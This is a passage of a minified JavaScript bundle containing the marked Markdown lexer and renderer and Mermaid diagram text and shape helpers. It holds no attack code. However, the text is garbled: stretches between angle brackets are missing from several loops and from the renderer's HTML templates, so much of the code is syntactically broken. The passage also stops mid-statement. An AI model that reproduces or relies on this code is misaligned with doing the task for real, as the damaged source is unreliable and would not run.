if((n[5]||n[6])&&i%3&&!((i+s)%3)){u+=s;continue}if(l-=s,l>0)continue;s=Math.min(s,s+l+u);let f=[...n[0]][0].length,d=t.slice(0,i+n.index+f+s);if(Math.min(i,s)%2){let m=d.slice(1,-1);return{type:"em",raw:d,text:m,tokens:this.lexer.inlineTokens(m)}}let p=d.slice(2,-2);return{type:"strong",raw:d,text:p,tokens:this.lexer.inlineTokens(p)}}}}codespan(t){let e=this.rules.inline.code.exec(t);if(e){let r=e[2].replace(this.rules.other.newLineCharGlobal," "),n=this.rules.other.nonSpaceChar.test(r),i=this.rules.other.startingSpaceChar.test(r)&&this.rules.other.endingSpaceChar.test(r);return n&&i&&(r=r.substring(1,r.length-1)),{type:"codespan",raw:e[0],text:r}}}br(t){let e=this.rules.inline.br.exec(t);if(e)return{type:"br",raw:e[0]}}del(t){let e=this.rules.inline.del.exec(t);if(e)return{type:"del",raw:e[0],text:e[2],tokens:this.lexer.inlineTokens(e[2])}}autolink(t){let e=this.rules.inline.autolink.exec(t);if(e){let r,n;return e[2]==="@"?(r=e[1],n="mailto:"+r):(r=e[1],n=r),{type:"link",raw:e[0],text:r,href:n,tokens:[{type:"text",raw:r,text:r}]}}}url(t){let e;if(e=this.rules.inline.url.exec(t)){let r,n;if(e[2]==="@")r=e[0],n="mailto:"+r;else{let i;do i=e[0],e[0]=this.rules.inline._backpedal.exec(e[0])?.[0]??"";while(i!==e[0]);r=e[0],e[1]==="www."?n="http://"+e[0]:n=e[0]}return{type:"link",raw:e[0],text:r,href:n,tokens:[{type:"text",raw:r,text:r}]}}}inlineText(t){let e=this.rules.inline.text.exec(t);if(e){let r=this.lexer.state.inRawBlock;return{type:"text",raw:e[0],text:e[0],escaped:r}}}},Mu=class c9{static{o(this,"l")}tokens;options;state;tokenizer;inlineQueue;constructor(e){this.tokens=[],this.tokens.links=Object.create(null),this.options=e||jd,this.options.tokenizer=this.options.tokenizer||new UT,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};let r={other:as,block:GT.normal,inline:k2.normal};this.options.pedantic?(r.block=GT.pedantic,r.inline=k2.pedantic):this.options.gfm&&(r.block=GT.gfm,this.options.breaks?r.inline=k2.breaks:r.inline=k2.gfm),this.tokenizer.rules=r}static get rules(){return{block:GT,inline:k2}}static lex(e,r){return new c9(r).lex(e)}static lexInline(e,r){return new c9(r).inlineTokens(e)}lex(e){e=e.replace(as.carriageReturn,` +`),this.blockTokens(e,this.tokens);for(let r=0;r(i=s.call({lexer:this},e,r))?(e=e.substring(i.raw.length),r.push(i),!0):!1))continue;if(i=this.tokenizer.space(e)){e=e.substring(i.raw.length);let s=r.at(-1);i.raw.length===1&&s!==void 0?s.raw+=` +`:r.push(i);continue}if(i=this.tokenizer.code(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="paragraph"||s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.at(-1).src=s.text):r.push(i);continue}if(i=this.tokenizer.fences(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.heading(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.hr(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.blockquote(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.list(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.html(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.def(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="paragraph"||s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.raw,this.inlineQueue.at(-1).src=s.text):this.tokens.links[i.tag]||(this.tokens.links[i.tag]={href:i.href,title:i.title},r.push(i));continue}if(i=this.tokenizer.table(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.lheading(e)){e=e.substring(i.raw.length),r.push(i);continue}let a=e;if(this.options.extensions?.startBlock){let s=1/0,l=e.slice(1),u;this.options.extensions.startBlock.forEach(h=>{u=h.call({lexer:this},l),typeof u=="number"&&u>=0&&(s=Math.min(s,u))}),s<1/0&&s>=0&&(a=e.substring(0,s+1))}if(this.state.top&&(i=this.tokenizer.paragraph(a))){let s=r.at(-1);n&&s?.type==="paragraph"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=s.text):r.push(i),n=a.length!==e.length,e=e.substring(i.raw.length);continue}if(i=this.tokenizer.text(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=s.text):r.push(i);continue}if(e){let s="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(s);break}else throw new Error(s)}}return this.state.top=!0,r}inline(e,r=[]){return this.inlineQueue.push({src:e,tokens:r}),r}inlineTokens(e,r=[]){let n=e,i=null;if(this.tokens.links){let l=Object.keys(this.tokens.links);if(l.length>0)for(;(i=this.tokenizer.rules.inline.reflinkSearch.exec(n))!=null;)l.includes(i[0].slice(i[0].lastIndexOf("[")+1,-1))&&(n=n.slice(0,i.index)+"["+"a".repeat(i[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex))}for(;(i=this.tokenizer.rules.inline.anyPunctuation.exec(n))!=null;)n=n.slice(0,i.index)+"++"+n.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);for(;(i=this.tokenizer.rules.inline.blockSkip.exec(n))!=null;)n=n.slice(0,i.index)+"["+"a".repeat(i[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);n=this.options.hooks?.emStrongMask?.call({lexer:this},n)??n;let a=!1,s="";for(;e;){a||(s=""),a=!1;let l;if(this.options.extensions?.inline?.some(h=>(l=h.call({lexer:this},e,r))?(e=e.substring(l.raw.length),r.push(l),!0):!1))continue;if(l=this.tokenizer.escape(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.tag(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.link(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.reflink(e,this.tokens.links)){e=e.substring(l.raw.length);let h=r.at(-1);l.type==="text"&&h?.type==="text"?(h.raw+=l.raw,h.text+=l.text):r.push(l);continue}if(l=this.tokenizer.emStrong(e,n,s)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.codespan(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.br(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.del(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.autolink(e)){e=e.substring(l.raw.length),r.push(l);continue}if(!this.state.inLink&&(l=this.tokenizer.url(e))){e=e.substring(l.raw.length),r.push(l);continue}let u=e;if(this.options.extensions?.startInline){let h=1/0,f=e.slice(1),d;this.options.extensions.startInline.forEach(p=>{d=p.call({lexer:this},f),typeof d=="number"&&d>=0&&(h=Math.min(h,d))}),h<1/0&&h>=0&&(u=e.substring(0,h+1))}if(l=this.tokenizer.inlineText(u)){e=e.substring(l.raw.length),l.raw.slice(-1)!=="_"&&(s=l.raw.slice(-1)),a=!0;let h=r.at(-1);h?.type==="text"?(h.raw+=l.raw,h.text+=l.text):r.push(l);continue}if(e){let h="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(h);break}else throw new Error(h)}}return r}},HT=class{static{o(this,"P")}options;parser;constructor(t){this.options=t||jd}space(t){return""}code({text:t,lang:e,escaped:r}){let n=(e||"").match(as.notSpaceStart)?.[0],i=t.replace(as.endingNewline,"")+` +`;return n?'
    '+(r?i:Tc(i,!0))+`
    +`:"
    "+(r?i:Tc(i,!0))+`
    +`}blockquote({tokens:t}){return`
    +${this.parser.parse(t)}
    +`}html({text:t}){return t}def(t){return""}heading({tokens:t,depth:e}){return`${this.parser.parseInline(t)} +`}hr(t){return`
    +`}list(t){let e=t.ordered,r=t.start,n="";for(let s=0;s +`+n+" +`}listitem(t){let e="";if(t.task){let r=this.checkbox({checked:!!t.checked});t.loose?t.tokens[0]?.type==="paragraph"?(t.tokens[0].text=r+" "+t.tokens[0].text,t.tokens[0].tokens&&t.tokens[0].tokens.length>0&&t.tokens[0].tokens[0].type==="text"&&(t.tokens[0].tokens[0].text=r+" "+Tc(t.tokens[0].tokens[0].text),t.tokens[0].tokens[0].escaped=!0)):t.tokens.unshift({type:"text",raw:r+" ",text:r+" ",escaped:!0}):e+=r+" "}return e+=this.parser.parse(t.tokens,!!t.loose),`
  • ${e}
  • +`}checkbox({checked:t}){return"'}paragraph({tokens:t}){return`

    ${this.parser.parseInline(t)}

    +`}table(t){let e="",r="";for(let i=0;i${n}`),` + +`+e+` +`+n+`
    +`}tablerow({text:t}){return` +${t} +`}tablecell(t){let e=this.parser.parseInline(t.tokens),r=t.header?"th":"td";return(t.align?`<${r} align="${t.align}">`:`<${r}>`)+e+` +`}strong({tokens:t}){return`${this.parser.parseInline(t)}`}em({tokens:t}){return`${this.parser.parseInline(t)}`}codespan({text:t}){return`${Tc(t,!0)}`}br(t){return"
    "}del({tokens:t}){return`${this.parser.parseInline(t)}`}link({href:t,title:e,tokens:r}){let n=this.parser.parseInline(r),i=kZ(t);if(i===null)return n;t=i;let a='
    ",a}image({href:t,title:e,text:r,tokens:n}){n&&(r=this.parser.parseInline(n,this.parser.textRenderer));let i=kZ(t);if(i===null)return Tc(r);t=i;let a=`${r}{let s=i[a].flat(1/0);r=r.concat(this.walkTokens(s,e))}):i.tokens&&(r=r.concat(this.walkTokens(i.tokens,e)))}}return r}use(...t){let e=this.defaults.extensions||{renderers:{},childTokens:{}};return t.forEach(r=>{let n={...r};if(n.async=this.defaults.async||n.async||!1,r.extensions&&(r.extensions.forEach(i=>{if(!i.name)throw new Error("extension name required");if("renderer"in i){let a=e.renderers[i.name];a?e.renderers[i.name]=function(...s){let l=i.renderer.apply(this,s);return l===!1&&(l=a.apply(this,s)),l}:e.renderers[i.name]=i.renderer}if("tokenizer"in i){if(!i.level||i.level!=="block"&&i.level!=="inline")throw new Error("extension level must be 'block' or 'inline'");let a=e[i.level];a?a.unshift(i.tokenizer):e[i.level]=[i.tokenizer],i.start&&(i.level==="block"?e.startBlock?e.startBlock.push(i.start):e.startBlock=[i.start]:i.level==="inline"&&(e.startInline?e.startInline.push(i.start):e.startInline=[i.start]))}"childTokens"in i&&i.childTokens&&(e.childTokens[i.name]=i.childTokens)}),n.extensions=e),r.renderer){let i=this.defaults.renderer||new HT(this.defaults);for(let a in r.renderer){if(!(a in i))throw new Error(`renderer '${a}' does not exist`);if(["options","parser"].includes(a))continue;let s=a,l=r.renderer[s],u=i[s];i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f||""}}n.renderer=i}if(r.tokenizer){let i=this.defaults.tokenizer||new UT(this.defaults);for(let a in r.tokenizer){if(!(a in i))throw new Error(`tokenizer '${a}' does not exist`);if(["options","rules","lexer"].includes(a))continue;let s=a,l=r.tokenizer[s],u=i[s];i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f}}n.tokenizer=i}if(r.hooks){let i=this.defaults.hooks||new S2;for(let a in r.hooks){if(!(a in i))throw new Error(`hook '${a}' does not exist`);if(["options","block"].includes(a))continue;let s=a,l=r.hooks[s],u=i[s];S2.passThroughHooks.has(a)?i[s]=h=>{if(this.defaults.async&&S2.passThroughHooksRespectAsync.has(a))return Promise.resolve(l.call(i,h)).then(d=>u.call(i,d));let f=l.call(i,h);return u.call(i,f)}:i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f}}n.hooks=i}if(r.walkTokens){let i=this.defaults.walkTokens,a=r.walkTokens;n.walkTokens=function(s){let l=[];return l.push(a.call(this,s)),i&&(l=l.concat(i.call(this,s))),l}}this.defaults={...this.defaults,...n}}),this}setOptions(t){return this.defaults={...this.defaults,...t},this}lexer(t,e){return Mu.lex(t,e??this.defaults)}parser(t,e){return Iu.parse(t,e??this.defaults)}parseMarkdown(t){return(e,r)=>{let n={...r},i={...this.defaults,...n},a=this.onError(!!i.silent,!!i.async);if(this.defaults.async===!0&&n.async===!1)return a(new Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof e>"u"||e===null)return a(new Error("marked(): input parameter is undefined or null"));if(typeof e!="string")return a(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(e)+", string expected"));i.hooks&&(i.hooks.options=i,i.hooks.block=t);let s=i.hooks?i.hooks.provideLexer():t?Mu.lex:Mu.lexInline,l=i.hooks?i.hooks.provideParser():t?Iu.parse:Iu.parseInline;if(i.async)return Promise.resolve(i.hooks?i.hooks.preprocess(e):e).then(u=>s(u,i)).then(u=>i.hooks?i.hooks.processAllTokens(u):u).then(u=>i.walkTokens?Promise.all(this.walkTokens(u,i.walkTokens)).then(()=>u):u).then(u=>l(u,i)).then(u=>i.hooks?i.hooks.postprocess(u):u).catch(a);try{i.hooks&&(e=i.hooks.preprocess(e));let u=s(e,i);i.hooks&&(u=i.hooks.processAllTokens(u)),i.walkTokens&&this.walkTokens(u,i.walkTokens);let h=l(u,i);return i.hooks&&(h=i.hooks.postprocess(h)),h}catch(u){return a(u)}}}onError(t,e){return r=>{if(r.message+=` +Please report this to https://github.com/markedjs/marked.`,t){let n="

    An error occurred:

    "+Tc(r.message+"",!0)+"
    ";return e?Promise.resolve(n):n}if(e)return Promise.reject(r);throw r}}},Xd=new z9e;o(nn,"d");nn.options=nn.setOptions=function(t){return Xd.setOptions(t),nn.defaults=Xd.defaults,CZ(nn.defaults),nn};nn.getDefaults=h9;nn.defaults=jd;nn.use=function(...t){return Xd.use(...t),nn.defaults=Xd.defaults,CZ(nn.defaults),nn};nn.walkTokens=function(t,e){return Xd.walkTokens(t,e)};nn.parseInline=Xd.parseInline;nn.Parser=Iu;nn.parser=Iu.parse;nn.Renderer=HT;nn.TextRenderer=x9;nn.Lexer=Mu;nn.lexer=Mu.lex;nn.Tokenizer=UT;nn.Hooks=S2;nn.parse=nn;M6t=nn.options,I6t=nn.setOptions,O6t=nn.use,P6t=nn.walkTokens,B6t=nn.parseInline,F6t=Iu.parse,$6t=Mu.lex});function G9e(t,{markdownAutoWrap:e}){let n=t.replace(//g,` +`).replace(/\n{2,}/g,` +`),i=P3(n);return e===!1?i.replace(/ /g," "):i}function FZ(t,e={}){let r=G9e(t,e),n=nn.lexer(r),i=[[]],a=0;function s(l,u="normal"){l.type==="text"?l.text.split(` +`).forEach((f,d)=>{d!==0&&(a++,i.push([])),f.split(" ").forEach(p=>{p=p.replace(/'/g,"'"),p&&i[a].push({content:p,type:u})})}):l.type==="strong"||l.type==="em"?l.tokens.forEach(h=>{s(h,l.type)}):l.type==="html"&&i[a].push({content:l.text,type:"normal"})}return o(s,"processNode"),n.forEach(l=>{l.type==="paragraph"?l.tokens?.forEach(u=>{s(u)}):l.type==="html"?i[a].push({content:l.text,type:"normal"}):i[a].push({content:l.raw,type:"normal"})}),i}function $Z(t,{markdownAutoWrap:e}={}){let r=nn.lexer(t);function n(i){return i.type==="text"?e===!1?i.text.replace(/\n */g,"
    ").replace(/ /g," "):i.text.replace(/\n */g,"
    "):i.type==="strong"?`${i.tokens?.map(n).join("")}`:i.type==="em"?`${i.tokens?.map(n).join("")}`:i.type==="paragraph"?`

    ${i.tokens?.map(n).join("")}

    `:i.type==="space"?"":i.type==="html"?`${i.text}`:i.type==="escape"?i.text:(X.warn(`Unsupported markdown: ${i.type}`),i.raw)}return o(n,"output"),r.map(n).join("")}var zZ=N(()=>{"use strict";BZ();_A();pt();o(G9e,"preprocessMarkdown");o(FZ,"markdownToLines");o($Z,"markdownToHTML")});function V9e(t){return Intl.Segmenter?[...new Intl.Segmenter().segment(t)].map(e=>e.segment):[...t]}function U9e(t,e){let r=V9e(e.content);return GZ(t,[],r,e.type)}function GZ(t,e,r,n){if(r.length===0)return[{content:e.join(""),type:n},{content:"",type:n}];let[i,...a]=r,s=[...e,i];return t([{content:s.join(""),type:n}])?GZ(t,s,a,n):(e.length===0&&i&&(e.push(i),r.shift()),[{content:e.join(""),type:n},{content:r.join(""),type:n}])}function VZ(t,e){if(t.some(({content:r})=>r.includes(` +`)))throw new Error("splitLineToFitWidth does not support newlines in the line");return b9(t,e)}function b9(t,e,r=[],n=[]){if(t.length===0)return n.length>0&&r.push(n),r.length>0?r:[];let i="";t[0].content===" "&&(i=" ",t.shift());let a=t.shift()??{content:" ",type:"normal"},s=[...n];if(i!==""&&s.push({content:i,type:"normal"}),s.push(a),e(s))return b9(t,e,r,s);if(n.length>0)r.push(n),t.unshift(a);else if(a.content){let[l,u]=U9e(e,a);r.push([l]),u.content&&t.unshift(u)}return b9(t,e,r)}var UZ=N(()=>{"use strict";o(V9e,"splitTextToChars");o(U9e,"splitWordToFitWidth");o(GZ,"splitWordToFitWidthRecursion");o(VZ,"splitLineToFitWidth");o(b9,"splitLineToFitWidthRecursion")});function HZ(t,e){e&&t.attr("style",e)}async function H9e(t,e,r,n,i=!1,a=Qt()){let s=t.append("foreignObject");s.attr("width",`${10*r}px`),s.attr("height",`${10*r}px`);let l=s.append("xhtml:div"),u=kn(e.label)?await kh(e.label.replace(tt.lineBreakRegex,` +`),a):sr(e.label,a),h=e.isNode?"nodeLabel":"edgeLabel",f=l.append("span");f.html(u),HZ(f,e.labelStyle),f.attr("class",`${h} ${n}`),HZ(l,e.labelStyle),l.style("display","table-cell"),l.style("white-space","nowrap"),l.style("line-height","1.5"),l.style("max-width",r+"px"),l.style("text-align","center"),l.attr("xmlns","http://www.w3.org/1999/xhtml"),i&&l.attr("class","labelBkg");let d=l.node().getBoundingClientRect();return d.width===r&&(l.style("display","table"),l.style("white-space","break-spaces"),l.style("width",r+"px"),d=l.node().getBoundingClientRect()),s.node()}function T9(t,e,r){return t.append("tspan").attr("class","text-outer-tspan").attr("x",0).attr("y",e*r-.1+"em").attr("dy",r+"em")}function q9e(t,e,r){let n=t.append("text"),i=T9(n,1,e);w9(i,r);let a=i.node().getComputedTextLength();return n.remove(),a}function qZ(t,e,r){let n=t.append("text"),i=T9(n,1,e);w9(i,[{content:r,type:"normal"}]);let a=i.node()?.getBoundingClientRect();return a&&n.remove(),a}function W9e(t,e,r,n=!1){let a=e.append("g"),s=a.insert("rect").attr("class","background").attr("style","stroke: none"),l=a.append("text").attr("y","-10.1"),u=0;for(let h of r){let f=o(p=>q9e(a,1.1,p)<=t,"checkWidth"),d=f(h)?[h]:VZ(h,f);for(let p of d){let m=T9(l,u,1.1);w9(m,p),u++}}if(n){let h=l.node().getBBox(),f=2;return s.attr("x",h.x-f).attr("y",h.y-f).attr("width",h.width+2*f).attr("height",h.height+2*f),a.node()}else return l.node()}function w9(t,e){t.text(""),e.forEach((r,n)=>{let i=t.append("tspan").attr("font-style",r.type==="em"?"italic":"normal").attr("class","text-inner-tspan").attr("font-weight",r.type==="strong"?"bold":"normal");n===0?i.text(r.content):i.text(" "+r.content)})}async function k9(t,e={}){let r=[];t.replace(/(fa[bklrs]?):fa-([\w-]+)/g,(i,a,s)=>(r.push((async()=>{let l=`${a}:${s}`;return await eH(l)?await _s(l,void 0,{class:"label-icon"}):``})()),i));let n=await Promise.all(r);return t.replace(/(fa[bklrs]?):fa-([\w-]+)/g,()=>n.shift()??"")}var di,zo=N(()=>{"use strict";yr();gr();pt();zZ();tr();nc();UZ();qn();o(HZ,"applyStyle");o(H9e,"addHtmlSpan");o(T9,"createTspan");o(q9e,"computeWidthOfText");o(qZ,"computeDimensionOfText");o(W9e,"createFormattedText");o(w9,"updateTextContentAndStyles");o(k9,"replaceIconSubstring");di=o(async(t,e="",{style:r="",isTitle:n=!1,classes:i="",useHtmlLabels:a=!0,isNode:s=!0,width:l=200,addSvgBackground:u=!1}={},h)=>{if(X.debug("XYZ createText",e,r,n,i,a,s,"addSvgBackground: ",u),a){let f=$Z(e,h),d=await k9(Ji(f),h),p=e.replace(/\\\\/g,"\\"),m={isNode:s,label:kn(e)?p:d,labelStyle:r.replace("fill:","color:")};return await H9e(t,m,l,i,u,h)}else{let f=e.replace(//g,"
    "),d=FZ(f.replace("
    ","
    "),h),p=W9e(l,t,d,e?u:!1);if(s){/stroke:/.exec(r)&&(r=r.replace("stroke:","lineColor:"));let m=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/color:/g,"fill:");qe(p).attr("style",m)}else{let m=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/background:/g,"fill:");qe(p).select("rect").attr("style",m.replace(/background:/g,"fill:"));let g=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/color:/g,"fill:");qe(p).select("text").attr("style",g)}return p}},"createText")});function Vt(t){let e=t.map((r,n)=>`${n===0?"M":"L"}${r.x},${r.y}`);return e.push("Z"),e.join(" ")}function Go(t,e,r,n,i,a){let s=[],u=r-t,h=n-e,f=u/a,d=2*Math.PI/f,p=e+h/2;for(let m=0;m<=50;m++){let g=m/50,y=t+g*u,v=p+i*Math.sin(d*(y-t));s.push({x:y,y:v})}return s}function Kd(t,e,r,n,i,a){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;d{"use strict";zo();Xt();yr();La();gr();tr();ut=o(async(t,e,r)=>{let n,i=e.useHtmlLabels||vr(ge()?.htmlLabels);r?n=r:n="node default";let a=t.insert("g").attr("class",n).attr("id",e.domId||e.id),s=a.insert("g").attr("class","label").attr("style",Cn(e.labelStyle)),l;e.label===void 0?l="":l=typeof e.label=="string"?e.label:e.label[0];let u=await di(s,sr(Ji(l),ge()),{useHtmlLabels:i,width:e.width||ge().flowchart?.wrappingWidth,cssClasses:"markdown-node-label",style:e.labelStyle,addSvgBackground:!!e.icon||!!e.img}),h=u.getBBox(),f=(e?.padding??0)/2;if(i){let d=u.children[0],p=qe(u),m=d.getElementsByTagName("img");if(m){let g=l.replace(/]*>/g,"").trim()==="";await Promise.all([...m].map(y=>new Promise(v=>{function x(){if(y.style.display="flex",y.style.flexDirection="column",g){let b=ge().fontSize?ge().fontSize:window.getComputedStyle(document.body).fontSize,T=5,[S=ur.fontSize]=vc(b),w=S*T+"px";y.style.minWidth=w,y.style.maxWidth=w}else y.style.width="100%";v(y)}o(x,"setupImage"),setTimeout(()=>{y.complete&&x()}),y.addEventListener("error",x),y.addEventListener("load",x)})))}h=d.getBoundingClientRect(),p.attr("width",h.width),p.attr("height",h.height)}return i?s.attr("transform","translate("+-h.width/2+", "+-h.height/2+")"):s.attr("transform","translate(0, "+-h.height/2+")"),e.centerLabel&&s.attr("transform","translate("+-h.width/2+", "+-h.height/2+")"),s.insert("rect",":first-child"),{shapeSvg:a,bbox:h,halfPadding:f,label:s}},"labelHelper"),YT=o(async(t,e,r)=>{let n=r.useHtmlLabels||vr(ge()?.flowchart?.htmlLabels),i=t.insert("g").attr("class","label").attr("style",r.labelStyle||""),a=await di(i,sr(Ji(e),ge()),{useHtmlLabels:n,width:r.width||ge()?.flowchart?.wrappingWidth,style:r.labelStyle,addSvgBackground:!!r.icon||!!r.img}),s=a.getBBox(),l=r.padding/2;if(vr(ge()?.flowchart?.htmlLabels)){let u=a.children[0],h=qe(a);s=u.getBoundingClientRect(),h.attr("width",s.width),h.attr("height",s.height)}return n?i.attr("transform","translate("+-s.width/2+", "+-s.height/2+")"):i.attr("transform","translate(0, "+-s.height/2+")"),r.centerLabel&&i.attr("transform","translate("+-s.width/2+", "+-s.height/2+")"),i.insert("rect",":first-child"),{shapeSvg:t,bbox:s,halfPadding:l,label:i}},"insertLabel"),Qe=o((t,e)=>{let r=e.node().getBBox();t.width=r.width,t.height=r.height},"updateNodeBounds"),st=o((t,e)=>(t.look==="handDrawn"?"rough-node":"node")+" "+t.cssClasses+" "+(e||""),"getNodeClasses");o(Vt,"createPathFromPoints");o(Go,"generateFullSineWavePoints");o(Kd,"generateCirclePoints")});function Y9e(t,e){return t.intersect(e)}var WZ,YZ=N(()=>{"use strict";o(Y9e,"intersectNode");WZ=Y9e});function X9e(t,e,r,n){var i=t.x,a=t.y,s=i-n.x,l=a-n.y,u=Math.sqrt(e*e*l*l+r*r*s*s),h=Math.abs(e*r*s/u);n.x{"use strict";o(X9e,"intersectEllipse");XT=X9e});function j9e(t,e,r){return XT(t,e,e,r)}var XZ,jZ=N(()=>{"use strict";E9();o(j9e,"intersectCircle");XZ=j9e});function K9e(t,e,r,n){{let i=e.y-t.y,a=t.x-e.x,s=e.x*t.y-t.x*e.y,l=i*r.x+a*r.y+s,u=i*n.x+a*n.y+s,h=1e-6;if(l!==0&&u!==0&&KZ(l,u))return;let f=n.y-r.y,d=r.x-n.x,p=n.x*r.y-r.x*n.y,m=f*t.x+d*t.y+p,g=f*e.x+d*e.y+p;if(Math.abs(m)0}var QZ,ZZ=N(()=>{"use strict";o(K9e,"intersectLine");o(KZ,"sameSign");QZ=K9e});function Q9e(t,e,r){let n=t.x,i=t.y,a=[],s=Number.POSITIVE_INFINITY,l=Number.POSITIVE_INFINITY;typeof e.forEach=="function"?e.forEach(function(f){s=Math.min(s,f.x),l=Math.min(l,f.y)}):(s=Math.min(s,e.x),l=Math.min(l,e.y));let u=n-t.width/2-s,h=i-t.height/2-l;for(let f=0;f1&&a.sort(function(f,d){let p=f.x-r.x,m=f.y-r.y,g=Math.sqrt(p*p+m*m),y=d.x-r.x,v=d.y-r.y,x=Math.sqrt(y*y+v*v);return g{"use strict";ZZ();o(Q9e,"intersectPolygon");JZ=Q9e});var Z9e,Qh,S9=N(()=>{"use strict";Z9e=o((t,e)=>{var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2,u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=a===0?0:l*i/a,h=l):(i<0&&(s=-s),u=s,h=i===0?0:s*a/i),{x:r+u,y:n+h}},"intersectRect"),Qh=Z9e});var Xe,Ut=N(()=>{"use strict";YZ();jZ();E9();eJ();S9();Xe={node:WZ,circle:XZ,ellipse:XT,polygon:JZ,rect:Qh}});var tJ,wc,J9e,_2,je,Je,eRe,$t=N(()=>{"use strict";Xt();tJ=o(t=>{let{handDrawnSeed:e}=ge();return{fill:t,hachureAngle:120,hachureGap:4,fillWeight:2,roughness:.7,stroke:t,seed:e}},"solidStateFill"),wc=o(t=>{let e=J9e([...t.cssCompiledStyles||[],...t.cssStyles||[],...t.labelStyle||[]]);return{stylesMap:e,stylesArray:[...e]}},"compileStyles"),J9e=o(t=>{let e=new Map;return t.forEach(r=>{let[n,i]=r.split(":");e.set(n.trim(),i?.trim())}),e},"styles2Map"),_2=o(t=>t==="color"||t==="font-size"||t==="font-family"||t==="font-weight"||t==="font-style"||t==="text-decoration"||t==="text-align"||t==="text-transform"||t==="line-height"||t==="letter-spacing"||t==="word-spacing"||t==="text-shadow"||t==="text-overflow"||t==="white-space"||t==="word-wrap"||t==="word-break"||t==="overflow-wrap"||t==="hyphens","isLabelStyle"),je=o(t=>{let{stylesArray:e}=wc(t),r=[],n=[],i=[],a=[];return e.forEach(s=>{let l=s[0];_2(l)?r.push(s.join(":")+" !important"):(n.push(s.join(":")+" !important"),l.includes("stroke")&&i.push(s.join(":")+" !important"),l==="fill"&&a.push(s.join(":")+" !important"))}),{labelStyles:r.join(";"),nodeStyles:n.join(";"),stylesArray:e,borderStyles:i,backgroundStyles:a}},"styles2String"),Je=o((t,e)=>{let{themeVariables:r,handDrawnSeed:n}=ge(),{nodeBorder:i,mainBkg:a}=r,{stylesMap:s}=wc(t);return Object.assign({roughness:.7,fill:s.get("fill")||a,fillStyle:"hachure",fillWeight:4,hachureGap:5.2,stroke:s.get("stroke")||i,seed:n,strokeWidth:s.get("stroke-width")?.replace("px","")||1.3,fillLineDash:[0,0],strokeLineDash:eRe(s.get("stroke-dasharray"))},e)},"userNodeOverrides"),eRe=o(t=>{if(!t)return[0,0];let e=t.trim().split(/\s+/).map(Number);if(e.length===1){let i=isNaN(e[0])?0:e[0];return[i,i]}let r=isNaN(e[0])?0:e[0],n=isNaN(e[1])?0:e[1];return[r,n]},"getStrokeDashArray")});function C9(t,e,r){if(t&&t.length){let[n,i]=e,a=Math.PI/180*r,s=Math.cos(a),l=Math.sin(a);for(let u of t){let[h,f]=u;u[0]=(h-n)*s-(f-i)*l+n,u[1]=(h-n)*l+(f-i)*s+i}}}function tRe(t,e){return t[0]===e[0]&&t[1]===e[1]}function rRe(t,e,r,n=1){let i=r,a=Math.max(e,.1),s=t[0]&&t[0][0]&&typeof t[0][0]=="number"?[t]:t,l=[0,0];if(i)for(let h of s)C9(h,l,i);let u=(function(h,f,d){let p=[];for(let b of h){let T=[...b];tRe(T[0],T[T.length-1])||T.push([T[0][0],T[0][1]]),T.length>2&&p.push(T)}let m=[];f=Math.max(f,.1);let g=[];for(let b of p)for(let T=0;Tb.yminT.ymin?1:b.xT.x?1:b.ymax===T.ymax?0:(b.ymax-T.ymax)/Math.abs(b.ymax-T.ymax))),!g.length)return m;let y=[],v=g[0].ymin,x=0;for(;y.length||g.length;){if(g.length){let 